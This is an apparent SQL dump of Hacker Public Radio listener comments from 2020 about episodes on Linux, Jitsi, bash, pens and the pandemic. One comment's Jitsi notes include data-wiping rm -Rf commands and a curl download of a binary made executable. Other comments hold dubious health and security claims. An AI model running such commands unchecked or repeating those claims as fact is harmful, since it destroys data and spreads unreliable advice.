(2884,3032,'2020-03-26 22:48:33','Windigo','Minimal distros are the best','I\'ve tried out TinyCore a few times over the years, but had no idea they made a RaspberryPi edition. What a pleasant surprise!','2020-03-26 22:56:03'),
(2885,3043,'2020-04-02 10:53:24','thelovebug','Bass and Treble','Thanks for this episode, I love hearing how people record shows... I might have to do one of these myself!\r\n\r\nI\'m curious as to why you attenuate the bass and treble by 6dB?  The final episode has a telephone-y feel to it.  \r\n\r\nWould it be possible to get hold of the original file before it\'s processed?','2020-04-02 11:03:52'),
(2886,3027,'2020-04-04 05:32:44','Mongo','very interesting talk','It wasn\'t enough information for me to build my own quantum computer, but I did find it interesting. Looking forward to episode two.','2020-04-04 09:05:32'),
(2887,3053,'2020-04-08 07:07:38','lostnbronx','Welcom back to the Audio Book Club!','Really great to hear you guys once again! The \"HPR Audio Book Club\" has been missed. Free culture audiobook reviews live!','2020-04-08 07:53:21'),
(2888,3048,'2020-04-08 15:06:31','mcnalu','The affected episode','Toilet paper really is an odd invention. I believe there was a time when it was first marketed that the public thought it vaguely disgusting, and as you suggest, an unnecessary luxury.\r\n\r\nOne plausible explanation for the surge in toilet paper purchase is that in countries experiencing some form of lock down, more people work at home hence the demand from toilet paper moves from office wholesalers to retail shops and the supply chain takes time to adapt. In the mean time shelves will be empty.\r\n\r\nThere\'s a ruined Roman bath house near me situated on the Antonine Wall (Scotland). It has a latrine and evidence suggests they used moss to clean regio affectus.','2020-04-08 15:36:27'),
(2889,3048,'2020-04-09 11:31:08','Bookewyrmm','A word of caution','I am not a health care worker, nor do I play one on TV. However I have worked in health care IT for 10 years. The word of caution I would inject, is in regards to the option of using a bare hand to clean the affected area. I would say this is a last resort substitute, due to the potential health risks associated with it. Hepatitis A is spread through fecal matter in food. If one is not supremely carefully, ie: wash thoroughly ( more than a minute) and then sanitize, you can spread Hep A to your self and your loved ones very easily. \r\n\r\nFortunately, Hep A is not fatal, mostly just uncomfortable, with a mild fever that passes and diarrhea for up to 30 days or so.','2020-04-09 11:33:28'),
(2890,3050,'2020-04-10 14:53:52','Ahuka','Great sketch!','I loved the sketch at the end. It was very funny, and very creative.','2020-04-10 14:56:26'),
(2891,3034,'2020-04-12 10:46:43','clacke','appservice-irc','Oh cool!\r\n\r\nWhen I was using Matrix+IRC before, unauthenticated FreeNode was still ok, but now I know what to do if I start using Matrix again.\r\n\r\nI have been using XMPP and Biboumi, but didn\'t host my own and the hosted ones have not been reliable. I miss IRC, so I may come back to Matrix soon.','2020-04-12 10:48:54'),
(2892,3051,'2020-04-14 22:46:01','brian in ohio','electoral college','Its hard to believe a guy from Indiana would advocate for the elimination of the electoral college. You definitely would not need to vote if you live in Indiana if there was no electoral college. The US is not a democracy, its a republic big difference.  The primaries and caucus system is a political party system and should not be confused with how Presidents are elected. One last thing health insurance is not health care. When you say universal health care your really saying universal health insurance. You still will have to fight an insurance company with \"universal health care\". Send Lawyers, guns and money the sh-- has hit the fan!\r\ngood show entertaining','2020-04-14 23:43:10'),
(2893,3032,'2020-04-15 14:57:58','clacke','Re: Tiny Core maintainer name','I have never used Tiny Core Linux, but years of listening to ... Linux Outlaws probably? ... have still taught me the name of its maintainer by heart, because it\'s the most Bond Villain maintainer name ever.\r\n\r\n*Sean Connery voice*\r\n\r\nSHINGLEDECKER!!','2020-04-15 15:11:56'),
(2894,3046,'2020-04-17 17:50:03','clacke','First-class ranting','Thank you Ken for a forceful and enlightened rant on the archiving mentality, the evergreen value of much knowledge, and the need for self-contained show material. I agreed with not only the general sentiment, but probably with every word said.\r\n\r\nI\'m glad you don\'t believe in editing things down.','2020-04-17 18:11:55'),
(2895,3032,'2020-04-18 09:08:30','clacke','Ridiculously tiny really','On a more relevant note: I love these minimalist approaches. A friend swears by Porteus, but that\'s still 300 MB. Tiny by most standards, but wouldn\'t fit on your card.\r\n\r\nI think it\'s worth mentioning that while you said it left a few megabytes on your card, the core of Core is a mere 11 MB. He tried for the longest time to keep it below 10 MB, but had to break the barrier about 10 years ago.\r\n\r\nIt\'s still the only distro that fits in an email. :-)\r\n\r\nHadn\'t heard of NanoBSD before, thanks for bringing it up.','2020-04-18 09:11:01'),
(2896,3054,'2020-04-18 12:45:07','brian in ohio','politics','Its a shame that ahuka takes a decent look at the pandemic and has to drag his form of left wing politics in to it. Ad hominem attacks make you feel good but don\'t add to the strength of your argument. As far as Chloroquine and its possible usefulness in helping people recover from this disease here is a link to a National Institute of health article about this drug https://www.ncbi.nlm.nih.gov/pmc/articles/PMC1232869/ dated 2005. This drug may be useful but peoples politics are getting in the way of seeing that. Who\'s rational. Lastly its easy for pensioners to say stay at home indefinitely,  some of us need to go out and work there are many jobs you can\'t do from the comfort of your home in your pajamas. Poverty is a bigger killer than any pandemic','2020-04-18 13:12:49'),
(2897,3056,'2020-04-20 14:46:36','Ahuka','Very timely','I was thinking about checking out jitsi, so this was a welcome find in my feed. Thanks for doing this.','2020-04-20 14:48:23'),
(2898,3056,'2020-04-21 03:35:59','harvhat','Why talk about Jitsi','I was wondering if I am expected to listen to a podcast if the first minute or so is the presenter explaining how they don\'t know much about the what they are about to talk about?\r\n\r\nSeems the listeners time isn\'t being respected.','2020-04-21 08:54:54'),
(2899,3048,'2020-04-21 04:54:35','tuturto','Speaking of romans','Romans also used tersorium or xylospongium, which is sea sponge tied on a stick. Those were in communal use and just rinsed in a bucket of water and vinegar in between of uses.\r\n\r\nAlso, a big portion of humanity uses hands (or rather a hand and water) to clean themselves and actually consider using toilet paper disgusting as it can\'t clean as well as water can. Different cultures and all that.','2020-04-21 08:54:54'),
(2900,3056,'2020-04-21 06:06:22','justme','I really enjoyed this episode','As Jitsi seems to be making the rounds coming out on top as the open source alternative to ZOOM this was really interesting and made me want to play around with it.\r\n\r\nThank you very much','2020-04-21 08:54:54'),
(2901,3056,'2020-04-21 10:07:34','Mike Ray','Re: Why talk about jitsi?','To the person moaning about \'having\' to listen to, or \'being expected\' to listen to, a podcast about jitsi in which the host first says he doesn\'t know a lot about jitsi.\r\n\r\nI think HPR might not be what you are looking for.\r\n\r\nAnd you need to learn where the delete or skip button is.\r\n\r\nIn the few shows I have done for HPR, I have always been very conscious that there are, inevitably, people out there who know more than I do about what I am talking about.\r\n\r\nWhy don\'t you do a show about something and show us all just how smart you are?','2020-04-21 10:33:08'),
(2902,3052,'2020-04-22 11:05:47','Dave Morriss','Very useful, thanks','Thanks for this. I have struggled to find devices on my network in the past, and eventually resorted to using nmap (which I used to use at work years ago).\r\n\r\nI was not aware of arp-scan, and have just installed it. It\'s very much more helpful when searching for that new Pi just added to the network.\r\n\r\nI\'d not noticed before that \"Raspberry Pi Foundation\" had become \"Raspberry Pi Trading Ltd\" apparently with the arrival of the Pi 4, and that the MAC address base had changed then too.\r\n\r\nDave','2020-04-22 11:16:26'),
(2903,3054,'2020-04-23 07:59:21','Telford Tendys','Freedom, Governance and Pandemic','I prefer free software because I like the freedom to do the things I want to do and live the life I want to live. Here\'s an excellent podcast discussion of these rather difficult questions.\r\n\r\nhttps://powerhour.alexepstein.com/2020/04/23/power-hour-4-22-20-onkar-ghate-on-a-more-american-approach-to-covid-19/\r\n\r\nYou can download and listen without copy protection and there are no advertisements, however be aware that the above podcast is NOT under CC license, but linking should be fine. They take a somewhat hyper-rational approach to the issues, and some people might prefer an emotional perspective, but even if you disagree with their conclusions at least consider the way they methodically work through the key points.\r\n\r\nEconomics is about deciding the allocation of precious scarce resources, and inevitably this must involve a trade-off - very similar to Engineering. What is happening right now is that the lives and livelihoods of young people are being sliced away for the benefit of the older demographic. Despite this ethical dilemma, very few of the commentators are willing to even give the slightest recognition of those being sacrificed. Only those people who start with the understanding that a trade-off is involved are genuinely engaging with the problem.','2020-04-23 09:19:54'),
(2904,3056,'2020-04-23 12:02:06','Ahuka','Why listen?','Why indeed should anyone listen to an episode of HPR? The only answer I have is because it is of interest to you. I think of HPR as a party with a bunch of friends, not as a college curriculum. I listen to the ones I want to listen to, I skip the ones I don\'t. And I am not in the least bothered to think that there are people out there who don\'t want to listen to my shows.','2020-04-23 12:03:50'),
(2905,3056,'2020-04-23 12:18:42','Mike Ray','Re: Why listen?','These days I probably only listen to about ten percent of episodes.\r\n\r\nI don\'t know why this is compared to the near 100% I listened to when I first found HPR.  It is probably because I arrived at a peak, right slap in the middle of the legendary Ahuka Libra Office series exactly when I needed a leg up doing spreadsheets.\r\n\r\nAnd also around that time Klaatu and Dave were doing a lot more.\r\n\r\nBut at no time have I complained about any episode.\r\n\r\nMy mother used to tell us, if you can\'t say anything nice, keep your mouth shut.\r\n\r\nAnd nowadays I don\'t do any podcasts here because I have become too conscious that there will be listeners who know more about what I am talking about than I do.\r\n\r\nBut comments like the one criticising Operat0r for starting his cast by saying he knows little about the subject is not exactly encouraging to others, is it?','2020-04-23 12:20:40'),
(2906,3054,'2020-04-24 00:48:30','brian in ohio','clarification','Chloroquine is different from Hydroxychloroquine, my mistake. There are medicines that can help peoples own immune system get the through this (and many other diseases). Waiting for a vaccine is untenable for us all, we will all end up in the economic toilet, herd immunity is what we need, lets get going. (unless your at risk, hang back, 6 feet or 2 meters, and let the \'risk\' takers get out there and  pick up the pieces.','2020-04-24 06:39:03'),
(2907,3054,'2020-04-24 12:48:47','Ahuka','Herd immunity','Herd immunity is wonderful, and it is why vaccination is so important. When we have a vaccine (and the most common estimate I have seen is 18 months on that one), and when we ramp up production and get it out to over 300 million Americans, we\'ll be in a much better place.','2020-04-24 13:10:42'),
(2908,3056,'2020-04-30 06:36:08','crvs','Re: Why listen?','Because by telling you that he doesn\'t know much about Jitsi operat0r has just invited you or anyone else out there to do a follow up show if you happen to know more.','2020-04-30 08:42:46'),
(2909,3072,'2020-04-30 17:56:07','clacke','Errata: Ubuntu Python virtualenv works just fine','I confused myself and created a Nix Python virtualenv (which doesn\'t work) when I thought I was creating an Ubuntu Python virtualenv (which actually does work).','2020-04-30 17:59:11'),
(2910,3059,'2020-05-01 03:16:39','Windigo','Thanks for the introduction','This sounds like very useful software; thanks for the introductory episode!','2020-05-01 08:35:31'),
(2911,3075,'2020-05-01 11:01:51','clacke','Federated link for talk on federated things','In addition to the archive.org location above, the talk is also available on the federated free social web at https://conf.tube/videos/watch/c81c92cd-b023-4a32-966c-bb2233e35483 .','2020-05-01 11:05:02'),
(2912,3065,'2020-05-01 19:41:06','brian in ohio','enemies','Its sad that ahuka considers his fellow citizen on the other side of the political spectrum his enemies. Also, all governments, not just russia, sow political discord for their gain, just listen to voice of america and check out all the cia ops in central and south america. Quit picking on russia as a straw man.','2020-05-01 19:45:45'),
(2913,3066,'2020-05-04 07:48:42','tuturto','Thanks','Thanks for keeping flag of Hacker Public Radio high up and doing the community episode all by yourself. Listening to recap of whole previous month worth of episodes is one of those things that I look forward when a new month starts.','2020-05-04 08:19:47'),
(2914,3063,'2020-05-05 10:08:51','Archer72','Fountain pens','This episode leaves me wishing I were a writer/artist. It is an interesting medium that my daughter (an artist) may take up, since she had been sketching pen drawings lately.','2020-05-05 11:21:48'),
(2915,3066,'2020-05-05 17:10:37','Dave Morriss','No problem','I appreciate the feedback, tuturto. I also feel the Community News is an important part of HPR, and the show must go on as they say!','2020-05-05 17:11:42'),
(2916,3066,'2020-05-06 01:07:45','clacke','Blood type distribution','Dave mentioned in passing that 0+ would be an unusual blood type.\r\n\r\nOne might think so when just looking at how the alleles work. All you need is one A or one B allele and then the 0+ would be overruled. One might be tempted to believe that it\'s 25% each of 0, A, B and AB. But that assumes an even distribution of genes.\r\n\r\nMy blood type is A+, and I grew up being taught it was the most common one. When I moved to Hong Kong I learned that blood type distribution is not universal. Someone told me my blood type was \"unusual\".\r\n\r\nWhile A+ is not exactly unusual, in China (and I assume HK) near 50% of the population is 0+, while A+ is at around 25%.\r\n\r\nIt\'s also not as dominant in Sweden as I was led to believe. 37% of Swedes are A+ while 32% are 0+.\r\n\r\nIn the UK and US, 0+ is somewhat more common than A+, the reverse of the Swedish distribution.\r\n\r\nhttps://en.wikipedia.org/wiki/Blood_type_distribution_by_country','2020-05-06 08:03:34'),
(2917,3066,'2020-05-06 12:24:39','Ahuka','I loved the show','You did a good job, Dave. Though I am guessing you would like to have Ken back next time!','2020-05-06 12:26:26'),
(2918,3066,'2020-05-06 13:12:48','Dave Morriss','Re: Blood type distribution','Thanks clacke.\r\n\r\nI think I was confusing \"I have learnt this stuff\" with \"I know about this stuff\" and got a bit muddled! Now I think of it, I was learning about blood groups more than 50 years ago!\r\n\r\nIt\'s an interesting subject though and I must go and refresh my dwindling/dwindled knowledge about it all.','2020-05-06 13:18:03'),
(2919,3066,'2020-05-06 13:16:13','Dave Morriss','Thanks Ahuka','I\'m glad you enjoyed the show.\r\n\r\nIn having run through it earlier, when Mumble refused to record anything for me, I obviously gave myself an accidental rehearsal, so maybe the show wasn\'t as disjointed as it could have been :-)\r\n\r\nYes, it\'s more fun when there are two of us to discuss and banter a bit, so I prefer the normal setup.','2020-05-06 13:22:18'),
(2920,3063,'2020-05-07 14:23:27','Bookewyrmm','Pens, ink and paper','Dave, my apologies for the late comment, I had intended to get it in prior to the community news, but, life happens.\r\n\r\nI too have always been fascinated by these tools. My fascination was multiplied by both of my parents working in parallel industries when I was young. My father worked in an art and drafting supply house, my mother in an office supplies store.\r\n\r\nInstead of turning to fountain pens, my disposition is toward ball point pens. While I do agree that they aren\'t the greatest writing tools, I have leaned toward advertising pieces and novelty pens. I have pens in my collection from as early as the 1950s and 60s. Mostly local business advertising, a few national chains/brand names. \r\n\r\nArt class in middle school introduced me to papers and textures and artisan papers. I am a proud owner of a 100% hand made journal. (Not by me, I don\'t have that level of skill) the 300 pages of paper is all hand made from recycled cardboard and denim an the entire volume is bound in hand tooled leather. It is so nice, I am scared to write in it...lol','2020-05-07 14:28:23'),
(2921,3063,'2020-05-07 20:31:50','Dave Morriss','To Archer72','Hi. Thanks for the comment.\r\n\r\nI know what you mean; I\'m no artist myself. My daughter took art and science at school and has developed her art skills since then. She always tells me to just keep sketching if I want to get better at it. That\'s what she has done to try to get to a place where she can start to combine her science interests with her art.\r\n\r\nI guess the message is that you can develop abilities if you keep trying!','2020-05-07 20:45:47'),
(2922,3063,'2020-05-07 20:45:02','Dave Morriss','To Bookewyrmm','Thanks for the comment; it\'s much appreciated.\r\n\r\nMy interest in fountain pens didn\'t really develop until I was beyond school age. School had the effect of making me dislike using them because I was forced to do so. I have been a frequent ballpoint pen user from my university student days, because it was easier to write rapidly with one when in lectures or other places where rapid transcription was needed.\r\n\r\nI can see how an interest in the older 1950/1960 designs of ballpoint pens would be a thing. Quite collectable!\r\n\r\nYour hand-made journal sounds wonderful, with the leather cover too! I have never owned anything so good, but I do have some notebooks that I like so much I have never used them and probably never will! Your reaction to your journal is perfectly understandable.\r\n\r\nI\'d like to hear more about the pen collection and the journal if you feel you could make a show about them :-)','2020-05-07 20:45:47'),
(2923,3072,'2020-05-12 07:03:12','tuturto','Interesting and insightful','It\'s been awhile since I needed to do Python package management, but thanks to this episode I\'m ready next time the need arises.','2020-05-12 07:25:01'),
(2924,3069,'2020-05-12 19:09:50','Bendy','skynet','Wow!  I didn\'t realise skynet was really nvidia.  I\'m going to bin my graphics card right now.  Thank you so much for this heads-up!!!','2020-05-12 19:48:30'),
(2925,3073,'2020-05-13 06:59:13','tuturto','sounds good','Looking forward the series!\r\nI haven\'t ever stripped Matchbox cars, but I have done fair share of miniature stripping. I\'m interested on hearing how you handle this as these models have both metal and plastic parts.','2020-05-13 08:08:17'),
(2926,3073,'2020-05-14 20:51:16','Tony Hughes','Feedback from Tuturto','Thanks for the comments, I will be covering how I go about dismantling the models, removing paint from the casting and plastic parts as part of the series. My next episode will be about the basic tools and materials you need to get started.','2020-05-14 21:01:53'),
(2927,3077,'2020-05-19 11:03:50','Ken Fallon','Brilliant Idea','I may just try this. I\'ll probably use different parts.','2020-05-19 11:05:21'),
(2928,3077,'2020-05-19 18:26:02','jezra','an amazing mix of custom hardware and software','Thank you for sharing. I have now fallen down a rabbit hole of links to software I didn\'t know I needed. :)','2020-05-19 18:28:54'),
(2929,3078,'2020-05-22 02:47:21','Zen_floater2','my magical forrest Atheist comments.','https://www.youtube.com/watch?v=FG6yodWq9OU\r\n\r\nCapitalsm is successful as it models natures \"kill or be killed\" ethic at a conscious level.  \r\n\r\nIn short, YES,  your going to get out there and your going to die.  \r\nThe problem was in allowing China into this \"GLOBAL\" community, not whether or not your going to hide in your house...','2020-05-22 08:19:42'),
(2930,3071,'2020-05-22 11:32:23','nobody','Further simplifying','There are actually more than two types of quoting in bash. In addition to \'single\' and \"double there are also $\'ANSI-C\' and $\"localized\" quotations. For this problem I would have used the $\'ANSI-C\' quotation:\r\nalias show_network=$\'nmap -sn 192.168.0.0/24 | awk \'/^Nmap scan report/{print \"\"; print; next}{print}\'\'\r\n\r\nPersonally I find this a bit more readable. It might not be as portable but that shouldn\'t matter as the episode specifically addresses Bash.\r\n\r\nHere are the expansions for the ANSI-C quotation in the Bash manual:\r\nhttps://www.gnu.org/software/bash/manual/html_node/ANSI_002dC-Quoting.html','2020-05-22 11:36:04'),
(2931,3013,'2020-05-22 11:36:56','nobody','awk','Personally I feel like the best and most complete resource for learning AWK is the gawk manual:\r\nhttps://www.gnu.org/software/gawk/manual/gawk.html','2020-05-22 11:40:51'),
(2932,3071,'2020-05-22 16:44:12','Dave Morriss','To \'nobody\' re ANSI-C quoting','Thanks for this.\r\n\r\nYou are of course perfectly right. I tend not to think of this way of doing things - maybe because I originally learned Unix on HP-UX and SunOS a long time ago. I might be accused of being a little stuck in my ways!\r\n\r\nI did think of mentioning this in the show but didn\'t do it because it was a \"snippet\" and I didn\'t want to go into too much detail and make the episode too long. I did link to the relevant page in the documentation (https://www.gnu.org/software/bash/manual/html_node/Quoting.html) however.\r\n\r\nFeel free to add to the Bash Scripting series yourself. I look forward to hearing a different view from you in due course.','2020-05-22 16:46:25'),
(2933,3013,'2020-05-22 21:40:04','Dave Morriss','Response to \'nobody\' re awk','Thank you for your feedback. If I interpret you correctly I think you may have misunderstood the spirit of my earlier comment.\r\n\r\nI was replying to crvs when he mentioned the use of shebangs in the context of writing awk scripts. I took him to mean that this particular episode had helped to provide an insight which assisted with his understanding.\r\n\r\nIn my reply I pointed to the series that b-yeezi and I had done on awk where we\'d tried to introduce people to this tool and had made many many references to the gawk manual along the way of course.\r\n\r\nThere is no contest with the gawk manual itself, if that is what you were implying. The manual is obviously the most comprehensive and definitive resource on the utility and the language. The resource which b-yeezi and I had tried to provide was simply a way into concepts which may have been daunting and somewhat inaccessible to some.\r\n\r\nOur role was one of supplementing the manual itself, not of superseding it in any way.\r\n\r\nI hope this clarifies any misunderstanding there may have been.','2020-05-22 21:42:49'),
(2934,3093,'2020-05-27 14:47:51','monochromec','The review of the review','Thanks for the valuable feedback Claudio! We\'ll tackle this as part of a future episode.','2020-05-27 14:51:22'),
(2935,3053,'2020-05-28 01:42:48','mordancy','Blood Witness','I love this book and can\'t wait to listen to this episode. Dave Hitt is amazing and has other stuff to listen to. \r\n\r\nVisit his website for more stuff:  https://www.davehitt.com/podcasts/. \r\n\r\nWhile I agree with most of his opinions and information, there have been a few things I absolutely disagree with him about, but I get to hear a different point of view sometime and','2022-02-14 13:25:13'),
(2936,3084,'2020-05-28 19:21:35','Ahuka','Missing Fifty','Hearing Fifty made me miss him again. And I must admit I was surprised to discover that I appeared in this episode. But good work on the reviews folks.','2020-05-28 19:33:53'),
(2937,3083,'2020-05-29 09:40:26','DanNixon','Groove based tape format','Is the audio format you referred to the Tefifon (https://en.wikipedia.org/wiki/Tefifon)?\r\n\r\nNever seen one in person but there is a good overview of it over on Techmoan\'s YouTube channel: https://www.youtube.com/watch?v=nBNTAmLRmUg','2020-05-29 09:43:44'),
(2938,3083,'2020-05-31 10:50:15','MrX','Re Groove based tape format','Hi Dan yes you are quite correct it was indeed the Tefifon, I couldn\'t remember its name. It certainly is a very strange device. The one they had at the museum of communication wasn\'t in working condition at the time, they were in the process of trying to repair it I hope they succeeded. I must thank you for bringing this up as I really enjoyed rewatching the YouTube video link you gave which gives an excellent introduction of the device. The sound quality seemed surprisingly good. I watched the video while sitting out in the sun in my back garden. All the best MrX','2020-05-31 11:13:24'),
(2939,3082,'2020-06-02 00:52:51','clacke','Atom \"tombstones\" RFC','fluffy mentioned Atom \"tombstones\", defined in \'The Atom \"deleted-entry\" Element\', https://tools.ietf.org/html/rfc6721','2020-06-02 08:08:37'),
(2940,3072,'2020-06-02 09:10:54','clacke','The joy is real','I have been using pyenv-virtualenv for a month now, and I am reminded every day of how happy I am to never be running another `pipenv run` or `pipenv shell` ever again.','2020-06-02 09:15:01'),
(2941,3087,'2020-06-02 21:56:34','crvs','you forgot november','so in the end i finally got the chorus of that one bloodhound gang song for which this episode is relevant.  nice!','2020-06-02 21:59:04'),
(2942,3083,'2020-06-03 22:03:05','Windigo','Modern Sheevaplug support','Dave, I hope you\'ll be excited to hear that the Sheevaplug is still very well supported by Debian. I had one up-and-running with the latest version until very recently.\r\n\r\nHere\'s a resource I used to set mine up: https://www.cyrius.com/debian/kirkwood/sheevaplug/\r\n\r\nI have a hard time justifying keeping mine running, what with the Raspberry Pi and others being so much more full-featured and powerful, but it\'s definitely an interesting piece of hardware!','2022-02-14 13:25:14'),
(2943,3083,'2020-06-04 09:11:51','Dave Morriss','Re: Modern Sheevaplug support','Hi Windigo!\r\n\r\nThanks for the link. I\'d love to get my old Sheevaplug up and running again, and this looks like the site to help me do so.\r\n\r\nI don\'t actually have a use for it at the moment. It had a USB disk on it and I used to use it as a Git repo (a package called \'Gitosis\' I think), and could access it when away from home. Then it was a \"playground\" for learning about Bind. Then the disk crashed!\r\n\r\nAnyway, this is now on my to-do list. Thank you!\r\n\r\nDave','2020-06-04 09:13:27'),
(2944,3090,'2020-06-05 05:25:56','b-yeezi','Thanks for reminding me','Good episode. Thanks for reminding me that I know nothing about networking.','2020-06-05 08:13:10'),
(2945,3090,'2020-06-08 04:33:27','cmhobbs','quality episode','Really enjoyed this one.  Found myself nodding along in agreement and finishing some of your sentences.  Lots of good refresher and some new tips in here for me.  Thanks a ton for submitting this one!','2020-06-08 08:04:10'),
(2946,3091,'2020-06-08 21:57:57','norrist','read only router','The idea of running your home router off a read only filesystem is very interesting.','2020-06-09 09:59:40'),
(2947,3094,'2020-06-11 00:14:33','cmhobbs','great keyboard','I\'ve been using a Kinesis Advantage for years.  Owner of two and I love them.  They\'ve helped with my RSI quite a lot.\r\n\r\nCouple of notes:  the esc (and fn keys) are membrane, i\'m pretty sure.  One can also program the keyboard to beep on all key-presses which is useful to avoid bottoming out.\r\n\r\nI agree with your two week skill acquisition time with the keyboard.  I find that many years later I still want to use the advantage +/= and ~ locations on any other keyboard.\r\n\r\nThanks for sharing this one!','2020-06-11 08:38:36'),
(2948,3091,'2020-06-11 14:14:26','lZen_Floater1','READ ONLY ROOTS','You can set up Fuguita via OpenBSD to actually lock all root access writes OFF.  In this case, the filesystem is read into memory on boot, then that filesystem is locked down for the duration.  No one can make any changes to the system from that point forward.  It could be run in QEMU and even lock down what drives could be accessed with the dd command as well.  This makes any kind of attack, absolutely impossible.','2020-06-11 14:22:06'),
(2949,3056,'2020-06-13 05:51:01','operat0r','dERp','forgot show notes ..\r\n\r\nJitsi\r\n\r\nsystemctl stop docker\r\n\r\nrm -Rf  /var/lib/docker\r\nrm -Rf ~/.jitsi-meet-cfg\r\n\r\n\r\n# change docker-data to your path you want to put images in \r\nmount --rbind /media/moredata/docker-data  /var/lib/docker\r\n\r\n\r\n\r\napt-get remove --purge install docker-ce docker-ce-cli containerd.io\r\n\r\n\r\napt-get install docker-ce docker-ce-cli containerd.io\r\n\r\n\r\n\r\ncurl -L \"https://github.com/docker/compose/releases/download/1.23.1/docker-compose-$(uname -s)-$(uname -m)\" -o /usr/local/bin/docker-compose\r\nchmod +x /usr/local/bin/docker-compose\r\n\r\n\r\n\r\ngit clone https://github.com/jitsi/docker-jitsi-meet &amp;&amp; cd docker-jitsi-meet\r\n\r\n\r\nsystemctl restart docker\r\n\r\ncp env.example .env\r\nmkdir -p ~/.jitsi-meet-cfg/{web/letsencrypt,transcripts,prosody,jicofo,jvb}\r\n\r\ndocker-compose --log-level DEBUG  up -d --force-recreate --remove-orphans \r\n\r\n\r\ntail -f `find /var/lib/docker/containers -iname \"*.log\" `\r\n\r\n\r\ndocker container ls\r\n \r\n\r\n\r\ndocker exec -it d4c89a799fd7 bash\r\n\r\n\r\n# side that will be controlled needs to run\r\nhttps://github.com/jitsi/jitsi-meet-electron/releases/latest','2020-06-13 08:33:15'),
(2950,3095,'2020-06-14 20:50:35','brian-in-ohio','the gimp','Great show! My wife and I are avid bird watchers and this year I added taking pictures of them (the birds) to the mix and I\'ve wanted to process some of those photos and often thought of the gimp. Looking forward to more tutorials, if they\'re half as good as the libre office set they\'ll be awesome. Thanks for the show.','2020-06-14 21:07:00'),
(2951,3095,'2020-06-14 21:16:05','Ahuka','I\'m glad it helped','I\'m glad you liked it. I have one more already uploaded and in the queue, and I just finished writing a third one. So there is more to come.','2020-06-14 21:25:17'),
(2952,3079,'2020-06-15 00:08:28','frank','The sketch','Sorry to say, but I found the sketch not funny at all. Not because I&rsquo;m a trump supporter (far from it), but it just was not funny in a comical sense. It gave me a sense of &bdquo;fremdsch&auml;men&ldquo; and I had to skip over it after listening to the first minute or so.\r\n\r\nPlease also work on your audio balancing. First there was low-volume talk, then suddenly a much louder techno jingle (right before the sketch).','2020-06-15 07:47:43'),
(2953,3096,'2020-06-17 14:35:16','Mike Brehm','Productive walk','It\'s been at least 15 years since I attempted to pick all of the parts and build my own PC, but after hearing your talk I think I may give it another try. \r\nThank you for the inspiration.','2020-06-17 14:38:53'),
(2954,3099,'2020-06-18 13:23:19','ClaudioM','All According to Plan! }:-)','You *really* thought I wouldn\'t have done my research before recording??\r\n\r\n**FOOLS!!**  Mwahahahaa....\r\n\r\nI had already found out about the new pricing scheme from an inside source in the deep web way before my review, and given the changes and all the red tape usually involved with such things, I knew it was worth putting that information out there for humankind to behold.\r\n\r\nAnd since your assumption of my lineage was an extra benefit (I\'m not Italian), I can now leak this cable from the \"Fratellanza di Correzioni\"...\r\n\r\nhttps://www.kevra.org/TheBestOfNext/DifferentNeXTSpellings/DifferentNeXTSpellings.html\r\n\r\nHACK THE PLANET!! THE TRUTH IS OUT THERE!! I WANT TO BELIEVE!!1\r\n\r\n(Thanks for the recursively recursive review.  My skin is pretty thick. ;-) )','2022-02-14 13:25:14'),
(2955,3100,'2020-06-19 16:30:01','brian-in-ohio','a book recommendation','This guy Seth Kenlon wrote a book that might be useful to the budding game programmer using the 32bit. Developing Games on the Raspberry Pi: App Programming with Lua and L&#xFFFD;ve, he has friends that need coffee!','2020-06-19 16:31:32'),
(2956,3096,'2020-06-21 17:36:23','cmhobbs','re: productive walk','Glad to hear it!  \r\n\r\nIt was not nearly as challenging as I had expected given the tools on pcpartpicker.  The hardest part was actually finding things that could ship!  I had to swap parts on the build here and there via that site before I finally got everything together but it wasn\'t awful.\r\n\r\nHappy building!','2020-06-21 17:40:08'),
(2957,3101,'2020-06-22 02:44:26','Clinton Roy','Looking forward to further episodes.','Thank you for this episode, it\'s a nice gentle introduction to the topic, I definitely look forward to future episodes.','2020-06-22 06:33:23'),
(2958,3101,'2020-06-22 14:29:42','Ahuka','Excellent!','I\'m looking forward to more shows from this person.','2020-06-22 14:33:03'),
(2959,3101,'2020-06-22 18:46:56','brian-in-ohio','more episodes','keep going with this, great topic','2020-06-22 19:04:16'),
(2960,3107,'2020-06-30 21:47:20','sigflup','Thanks','Thanks for this one!','2020-06-30 22:02:56'),
(2961,3108,'2020-07-01 08:12:33','Luna Jernberg','Firefox Flatpak','Hello\r\n\r\nWe have Firefox as both Flatpak and Snap','2020-07-01 08:27:08'),
(2962,3097,'2020-07-02 11:29:09','an anonymous listener','free software licensing','The discussion about licenses and contribution agreements was interesting and informative. For example I really liked the way Fred explained how LGPL works in the context of projects like Big Blue Button, and how it compares to AGPL. Thanks for the show!','2020-07-02 12:02:29'),
(2963,3097,'2020-07-02 15:25:58','Ahuka','Good interview','I really enjoyed the interview. Good solid information about an open source project.','2020-07-02 15:39:07'),
(2964,3106,'2020-07-03 06:09:36','Bob','Levels','Couldn\'t hear Martin at all, just a low mumble.','2020-07-03 08:32:28'),
(2965,3109,'2020-07-04 10:37:50','archer72','Very cool topic','I do like this topic.  Look forward to the next episode.','2020-07-04 10:39:55'),
(2966,3111,'2020-07-07 14:59:44','crvs','On math @ HPR','I found it surprising that Ken would call it \"the dark side of teaching maths in HPR\" since I disttinctly recall in a community news show, not long ago Ken himself requested someone to do a show on Fourier (or was it Laplace) transforms!','2020-07-07 15:46:49'),
(2967,3106,'2020-07-07 16:47:39','Bruce Momjian','Amazon','The Amazon product based on Postgres 8 is called Redshift, based on Paraccel.','2020-07-07 17:17:28'),
(2968,3115,'2020-07-12 12:03:44','brian-in-ohio','surprise','From the title and the show coming from operator, I thought this would be about some cool way to find bugs in code. I was surprised to hear this was about real life bugs! Good luck operator, I feel your pain.','2020-07-12 12:06:47'),
(2969,3116,'2020-07-13 15:11:45','brian-in-ohio','network','I would love to hear more about how you built out this network. Great show!','2020-07-13 15:18:40'),
(2970,3116,'2020-07-14 17:09:08','Windigo','Co-op hosting','I\'d also enjoy hearing more about manor.space.\r\n\r\nThe co-op style of hosting services (also discussed on episode 2411, \"Co-op Paradise\") is something that I find very encouraging!','2020-07-14 17:48:34'),
